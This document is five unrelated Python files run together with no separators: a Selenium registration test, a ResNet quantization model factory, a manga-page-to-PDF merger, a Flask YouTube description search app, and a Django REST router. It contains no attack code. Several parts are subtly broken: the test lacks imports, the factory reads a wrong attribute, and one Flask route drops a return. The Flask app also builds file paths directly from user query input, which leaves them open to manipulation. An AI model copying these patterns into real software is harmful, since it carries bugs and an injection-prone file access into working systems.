from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

class TestBasic(unittest.TestCase):

    expected = 'Congratulations! You have successfully registered!'

    @classmethod
    def setUpClass(cls):
        cls.browser = webdriver.Chrome()

    @classmethod
    def tearDownClass(cls):
        cls.browser.quit()

    def do_job(self, url):
        self.browser.get(url)

        self.browser.find_element_by_css_selector("input.first[required]").send_keys("Vasya")
        self.browser.find_element_by_css_selector("input.second[required]").send_keys("Pupkin")
        self.browser.find_element_by_css_selector("input.third[required]").send_keys("Vasya@stepik.org")
        self.browser.find_element_by_css_selector('button[type="submit"]').click()

        WebDriverWait(self.browser, 5).until(
            EC.url_contains('registration_result'))

        return self.browser.find_element_by_tag_name("h1").text

    def test_registration(self):
        url = f'http://suninjuly.github.io/registration1.html'
        actual = self.do_job(url)
        self.assertEqual(self.expected, actual, f'should be {self.expected}, but found {actual}')
        time.sleep(2)

    def test_registration2(self):
        url = 'http://suninjuly.github.io/registration2.html'
        actual = self.do_job(url)
        self.assertEqual(self.expected, actual, f'should be {self.expected}, but found {actual}')
        time.sleep(2)

if __name__ == "__main__":
    unittest.main()


import logging

import torch as t

from .resnet import *
import quan

def create_model(args):
    logger = logging.getLogger()

    model = None
    if args.dataloader.dataset == 'imagenet':
        if args.arch == 'resnet18':
            model = resnet18(pretrained=args.pre_trained)
        elif args.arch == 'resnet34':
            model = resnet34(pretrained=args.pre_trained)
        elif args.arch == 'resnet50':
            model = resnet50(pretrained=args.pre_trained)
        elif args.arch == 'resnet101':
            model = resnet101(pretrained=args.pre_trained)
        elif args.arch == 'resnet152':
            model = resnet152(pretrained=args.pre_trained)
    elif args.dataset.dataset == 'cifar10':
        pass

    if model is None:
        logger.error('Model architecture `%s` for `%s` dataset is not supported' % (args.arch, args.dataloader.dataset))
        exit(-1)

    msg = 'Created `%s` model for `%s` dataset' % (args.arch, args.dataloader.dataset)
    msg += '\n          Use pre-trained model = %s' % args.pre_trained
    logger.info(msg)

    replaced_modules = quan.find_modules_to_quantize(model, args.quan)
    model = quan.replace_module_by_names(model, replaced_modules)
    logger.info('Inserted quantizers into the original model')

    if args.device.gpu and not args.dataloader.serialized:
        model = t.nn.DataParallel(model, device_ids=args.device.gpu)

    return model.to(args.device.type)


from PIL import Image
images =[ Image.open("mangas/omniscient-reader-s-viewpoint/capitulo-04/01.jpg"), Image.open("mangas/omniscient-reader-s-viewpoint/capitulo-04/02.jpg"), Image.open("mangas/omniscient-reader-s-viewpoint/capitulo-04/03.jpg"), Image.open("mangas/omniscient-reader-s-viewpoint/capitulo-04/04.jpg")]
x= 0
y=0
ys = []
for i in images:
    tamanho = i.size
    print('img 1 size: ', tamanho)
    if tamanho[0]> x:
        x = tamanho[0]
    ys.append(y)
    y += tamanho[1]

print(x, y, ys)

new_im = Image.new('RGB', (x,y), (250,250,250))

for i in range(len(images)):
    new_im.paste(images[i], (0,ys[i]))

new_im.save("merged_images.png", "png")

import img2pdf
from PIL import Image
import os
img_path = "merged_images.png"
pdf_path = "merged_images.pdf"
image = Image.open(img_path)
pdf_bytes = img2pdf.convert(image.filename)
file = open(pdf_path, "wb")
file.write(pdf_bytes)
image.close()
file.close()
print("Successfully made pdf file")


from flask import Flask, request, render_template
from youtube import search
from description_search import create_whoosh_index, query_on_whoosh
import json

import os

print("The variable __name__: ")
print(__name__)

# __name__ is a special variable in python
# it can either be "__main__" or the name of the script
app = Flask(__name__)

# the request handler

# listens to
# example: google.com/
# example: google.com/search
@app.route("/")
def index(): # method name doesn't matter to Flask
    heading = "Youtube Description Search"

    return render_template("index.html", user=heading)

@app.route("/query", methods=['GET', 'POST'])
def query():
    arg = request.args.get('q')
    if not arg or not arg.strip():
        return render_template("query.html")

    index_name = "whoosh_index_" + arg

    if request.method == 'GET':

        filename = "youtube_search_" + arg + ".json"
        if os.path.exists(filename):
            # Pull data from an existing JSON file
            f = open(filename)
            results = json.load(f)
        else:
            results = search(arg, 1, False)
            create_whoosh_index(results, index_name)

        return render_template("query.html", query_term=arg, data=results)

    if request.method == 'POST':
        # the result sent by the search box on the query page
        search_term = request.form['description_search']

        results = query_on_whoosh(index_name, search_term)
        return render_template("query.html", query_term=arg, search_term=search_term, data=results, description_search=True)

@app.route("/music_query", methods=['GET', 'POST'])
def music_query():
    arg = request.args.get('q')
    if not arg or not arg.strip():
        render_template("music_query.html")

    index_name = "whoosh_index_"+ arg
    filename = "youtube_music_search_"+ arg +".json"

    if request.method == 'GET':

        if os.path.exists(filename):
            f = open(filename)
            results = json.load(f)
        else:
            results = search(arg, 1, True)
            create_whoosh_index(results, index_name)

        return render_template("music_query.html", query_term=arg, data=results)

    if request.method == 'POST':

        if request.form.get('spotify_filter'):
            spotify_search = request.form['spotify_filter']
            results = query_on_whoosh(index_name, spotify_search)
            checked = True
        else:
            f = open(filename)
            results = json.load(f)
            checked = False

        return render_template("music_query.html", query_term=arg, data=results, spotify=checked)


from rest_framework.routers import DefaultRouter

from polls.views import RegUsersVS, CreateQuotes, CreateUserReaction

router = DefaultRouter()

router.register("register-users", RegUsersVS)
router.register("quotes", CreateQuotes)
router.register("reaction", CreateUserReaction)

urlpatterns = [

]

urlpatterns.extend(router.urls)